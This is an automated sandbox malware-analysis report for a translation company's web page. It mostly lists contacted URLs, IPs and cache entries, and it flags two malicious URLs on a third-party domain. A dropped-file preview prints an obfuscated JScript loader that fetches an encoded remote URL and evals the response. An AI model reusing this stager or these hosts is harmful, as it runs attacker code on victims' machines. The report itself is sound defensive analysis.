https://www.languagesim.com/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6	false	Avira URL Cloud: safe	unknown
https://js.usemessages.com/conversations-embed.js	false		high
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/sfwd-lms/src/assets/dist/css/admin-bar/styles.css?ver=4.20.1.1	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/uncanny-learndash-toolkit/src/assets/frontend/dist/bundle.min.js?ver=3.7.0.2	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/widget-search-form.min.css?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://publication.garyjobeferguson.com/NLFEB0+TJ25Qk341A4VoJUfYICUOgHM2BIN9NxiTNiUOkzFpQNkocRbM	true	Avira URL Cloud: malware	unknown
https://www.youtube.com/s/player/7d1d50a6/www-widgetapi.vflset/www-widgetapi.js	false		high
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/player/7d1d50a6/www-embed-player.vflset/www-embed-player.js	false		high
https://www.languagesim.com/wp-content/uploads/sass/a3_lazy_load.min.css?ver=1742231716	false	Avira URL Cloud: safe	unknown
https://publication.garyjobeferguson.com/MewGhErOZe1Vzjy2BtgqpkKYY/QT1iToUIJi7V+LWeJYgGOmHc50pgvObPRLj2+mTA==	true	Avira URL Cloud: malware	unknown
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/nav-menu.a23fbd67486c5bedf26c.bundle.min.js	false	Avira URL Cloud: safe	unknown
https://app.hubspot.com/conversations-visitor/8836210/threads/utk/e95b7f20182e4d01887d4bf9ce5227bc?uuid=6beddedac44f4f0e9a835eece7fd6ae7&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=&domain=languagesim.com&inApp53=false&messagesUtk=e95b7f20182e4d01887d4bf9ce5227bc&url=https%3A%2F%2Fwww.languagesim.com%2Finterpretationterms%2F&inline=false&isFullscreen=false&globalCookieOptOut=&isFirstVisitorSession=true&isAttachmentDisabled=false&isInitialInputFocusDisabled=false&enableWidgetCookieBanner=false&isInCMS=false&hideScrollToButton=true&isIOSMobile=false	false		high
https://www.languagesim.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	false	Avira URL Cloud: safe	unknown
https://api.hubspot.com/livechat-public/v1/message/public?portalId=8836210&conversations-embed=static-1.20914&mobile=false&messagesUtk=e95b7f20182e4d01887d4bf9ce5227bc&traceId=e95b7f20182e4d01887d4bf9ce5227bc	false		high
https://www.languagesim.com/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/uploads/2023/05/background-Fallback-404.1.jpg	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/modules/sticky.min.css?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_lesson_video.min.css?ver=4.20.1.1	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/uploads/elementor/css/post-107164.css?ver=1738057223	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/sfwd-lms/assets/css/jquery.dropdown.min.css?ver=4.20.1.1	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/iframe_api?_=1742231872443	false		high
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/search-form.b7065999d77832a1b764.bundle.min.js	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/themes/growme/style.css?ver=6.7.1	false	Avira URL Cloud: safe	unknown
https://i.ytimg.com/vi/DsYNaw4qoJw/maxresdefault.jpg?sqp=-oaymwEmCIAKENAF8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGGUgZShlMA8=&rs=AOn4CLBkNZYRqqtWH1mKHf0WYHLlSTv6Iw	false		high
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.27.7	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	false	Avira URL Cloud: safe	unknown
https://js.hscollectedforms.net/collectedforms.js	false		high
https://www.languagesim.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_quiz_front.min.css?ver=4.20.1.1	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.extra.min.js?ver=2.7.3	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/sfwd-lms/themes/ld30/assets/js/learndash.js?ver=4.20.1.1	false	Avira URL Cloud: safe	unknown
https://api.hubapi.com/avatars/v1/signed-uris/1ClYKEwgEEg9sYW5ndWFnZXNpbS5jb20YiJXc_QUg7MX-BSonYnJhbmRpbmc6YXBpOndlYjp1c2VyLXRyYWZmaWM6dXMtZWFzdC0xMgs3Mi4yLjM5LjE3OBIZAHsNx2RBgACtqGwjHrdOcCqO5Wjz7iC-4Q	false		high
https://www.languagesim.com/wp-content/plugins/gravityforms/legacy/css/formsmain.min.css?ver=2.9.4	false	Avira URL Cloud: safe	unknown
https://yt3.ggpht.com/ytc/AIdro_nbM4iMFf6QNzP-lU5XSNXYwKdD57qc19HRtvPyMoA=s68-c-k-c0x00ffffff-no-rj	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_260.5.dr	false		high
https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers	chromecache_287.5.dr	false		high
https://www.languagesim.com/translation-services-winnipeg/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
http://bit.ly/raven-secret-key	chromecache_205.5.dr	false		high
https://github.com/zloirock/core-js	chromecache_264.5.dr	false		high
https://www.languagesim.com/wp-content/plugins/gravityforms/assets/js/dist/vendor-theme.min.js?ver=6	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
http://www.smartmenus.org/	chromecache_276.5.dr	false		high
https://www.languagesim.com/wp-content/plugins/wp-rocket/assets/img/youtube.png)	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://translation.languagesim.com/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/#website	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	chromecache_210.5.dr	false		high
https://admin.youtube.com	chromecache_287.5.dr	false		high
https://twitter.com/languagesim	chromecache_282.5.dr	false		high
https://www.languagesim.com/on-site-interpretation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://redux.js.org/tutorials/fundamentals/part-4-store#middleware	chromecache_287.5.dr	false		high
https://www.languagesim.com/languages/spanish-translation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/employment-opportunities/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://yurt.corp.google.com	chromecache_287.5.dr	false		high
https://www.languagesim.com/referral-partners/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/translation-terms/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/generate_204?cpn=	chromecache_287.5.dr	false		high
https://www.languagesim.com/lisa/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/medical-translation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/education-translation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/languages/french-translation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/languages/indigenous-language-aboriginal-translation/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://schema.org	chromecache_282.5.dr	false		high
https://www.languagesim.com/wp-content/uploads/2021/12/logo-languages-in-motion.jpg	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/	chromecache_308.5.dr	false		high
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/lim-academy/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc1950	chromecache_301.5.dr, chromecache_287.5.dr	false		high
https://www.languagesim.com/wp-content/plugins/uncanny-learndash-toolkit/src/assets/frontend/dist/bu	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_260.5.dr	false		high
https://www.languagesim.com/our-team/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/gravityforms/images/spinner.svg	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/modules/sticky.min.css?ver=3	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
http://www.hubspot.com	chromecache_297.5.dr, chromecache_202.5.dr	false		high
https://www.languagesim.com/insurance-translations/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://jqueryui.com	chromecache_238.5.dr	false		high
https://www.languagesim.com/interpreter-quality-assurance-form/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://yoast.com/wordpress/plugins/seo/	chromecache_282.5.dr	false		high
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://js.hs-banner.com/v2	chromecache_202.5.dr	false		high
https://support.google.com/youtube/?p=report_playback	chromecache_287.5.dr	false		high
https://www.languagesim.com/lisa-app/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://angular.dev/license	chromecache_287.5.dr	false		high
https://developers.google.com/youtube/iframe_api_reference#Events	chromecache_210.5.dr	false		high
http://youtube.com/streaming/metadata/segment/102015	chromecache_287.5.dr	false		high
https://www.languagesim.com/video-translation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://youtu.be/	chromecache_287.5.dr	false		high
https://git.io/vWdr2	chromecache_314.5.dr	false		high
https://git.hubteam.com/HubSpot/faast-ui/issues/248	chromecache_235.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/languages/arabic-translation-services/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/translation-services-hamilton/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://legal.hubspot.com/privacy-policy	chromecache_235.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/certified-translators-edmonton/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/?s=	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/languages-in-motion-intranet/	chromecache_282.5.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.102	static.doubleclick.net	United States	15169	GOOGLEUS	false
142.202.242.173	publication.garyjobeferguson.com	Reserved	14315	1GSERVERSUS	false
216.58.206.54	unknown	United States	15169	GOOGLEUS	false
142.250.185.226	td.doubleclick.net	United States	15169	GOOGLEUS	false
104.16.118.116	track.hubspot.com	United States	13335	CLOUDFLARENETUS	false
104.18.40.240	js.hs-banner.com	United States	13335	CLOUDFLARENETUS	false
104.18.240.108	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.128.172	js.hsadspixel.net	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
104.18.241.108	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.137.209	js.hs-scripts.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.86	i.ytimg.com	United States	15169	GOOGLEUS	false
142.250.185.238	unknown	United States	15169	GOOGLEUS	false
216.58.206.46	unknown	United States	15169	GOOGLEUS	false
142.250.185.193	photos-ugc.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.17.175.201	js.hs-analytics.net	United States	13335	CLOUDFLARENETUS	false
142.250.185.194	unknown	United States	15169	GOOGLEUS	false
104.18.32.129	na1.hubspot-logos.com	United States	13335	CLOUDFLARENETUS	false
104.17.175.91	static.hsappstatic.net	United States	13335	CLOUDFLARENETUS	false
157.240.253.35	unknown	United States	32934	FACEBOOKUS	false
142.250.186.100	unknown	United States	15169	GOOGLEUS	false
104.19.175.188	forms.hsforms.com	United States	13335	CLOUDFLARENETUS	false
35.190.179.119	languagesim.wpengine.com	United States	15169	GOOGLEUS	false
172.64.155.127	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.110.254	unknown	United States	13335	CLOUDFLARENETUS	false
74.125.206.155	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
157.240.0.6	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
142.250.181.238	analytics.google.com	United States	15169	GOOGLEUS	false
142.250.185.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
104.18.244.108	api.hubapi.com	United States	13335	CLOUDFLARENETUS	false
216.58.212.174	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
157.240.252.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
172.217.18.110	unknown	United States	15169	GOOGLEUS	false
104.16.108.254	js.hscollectedforms.net	United States	13335	CLOUDFLARENETUS	false
104.16.77.142	js.usemessages.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.132	unknown	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.16.109.254	forms.hscollectedforms.net	United States	13335	CLOUDFLARENETUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
172.217.16.130	unknown	United States	15169	GOOGLEUS	false
104.16.117.116	app.hubspot.com	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640782
Start date and time:	2025-03-17 18:16:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.languagesim.com/interpretationterms/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@29/260@114/43

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1001), with no line terminators
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	5.87201548166888
Encrypted:	false
SSDEEP:	24:oZvVL2WKmIwce/bXJhNmIt7jsXinOIp3uPZ:YVL2WzIwcejXJPn6INq
MD5:	54B1498AB4095DB5516843729C776210
SHA1:	827E219275D75BE9F11B049B4BAA5EEADBA3C154
SHA-256:	707E365F431D19AFE7AC8CA8DD32C83490C9DC831846CA0F83B99EFC7E57083A
SHA-512:	13685AE35F221ABFCE71C1E3BD36A9B998B86897B725643259A166EF0FF84621F74374F4FF9A9303266AAA40054049F6522AEBD25217D19DD8A15DFC3C7F7F66
Malicious:	false
Reputation:	low
Preview:	//@cc_on var gq="9lLAs1wjxWdCekS7mocJ38DvTrIzXQER/bFpygP65qYnKMahO+Hf0G4B2tNiZUuV";function hr(vt){var np="";var uw,zk,df,ou,dz,ni,uy;var uq=0;while(uq<vt.length){ou=gq.indexOf(vt.charAt(uq++));dz=gq.indexOf(vt.charAt(uq++));ni=gq.indexOf(vt.charAt(uq++));uy=gq.indexOf(vt.charAt(uq++));uw=(ou<<2)\|(dz>>4);zk=((dz&15)<<4)\|(ni>>2);df=((ni&3)<<6)\|uy;np=np+String.fromCharCode(uw);if(zk&&ni!=64){np=np+String.fromCharCode(zk);}if(df&&uy!=64){np=np+String.fromCharCode(df);}}return np;}var cx=this;function pd(rc){var sg=hr('XP8fXwUaX43');var mo=sg+hr('8w82Q9');var pd=rc[mo];return pd;};function sg(mo){return mo;};var eh=hr('J8kT');var ot=new cx[hr('mDk0IvrgDsUFIP8pQ9')](eh+hr('J3OHCgbkJsb3819'));ot[hr('zBlgz/')](hr('3sUJ89'),hr('Ijo0XjeNCHUKz4QqzFtqTBrOTvW0zP8HXHtpz40hXjWhrPgKr3+bEDUGQ9'),true);ot[hr('X48ar9')](hr('mgXBeA13EsMYkyoArBWvT81k8gls33xGT8W+EskwEsUl3LU0TJoF8gll7J0'));while(true){cx[hr('8Gkx')][hr('34+grv9')](1000);if(ot[hr('XP8brjgJQw10rm')]==4){cx[hr('rvrbz9')](sg(pd(ot)));break;}}@*

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.languagesim.com/interpretationterms/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Downloads\3f77cb4f-d179-4c37-842c-4e671f6a20c1.tmp

C:\Users\user\Downloads\68307792-74d3-43a1-b8bf-e5d7015336f7.tmp

C:\Users\user\Downloads\9f054117-b14e-4817-bcd0-2006471bb3cb.tmp

C:\Users\user\Downloads\Unconfirmed 111343.crdownload (copy)

C:\Users\user\Downloads\Unconfirmed 568629.crdownload (copy)

C:\Users\user\Downloads\Unconfirmed 890464.crdownload (copy)

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Windows Analysis Report
https://www.languagesim.com/interpretationterms/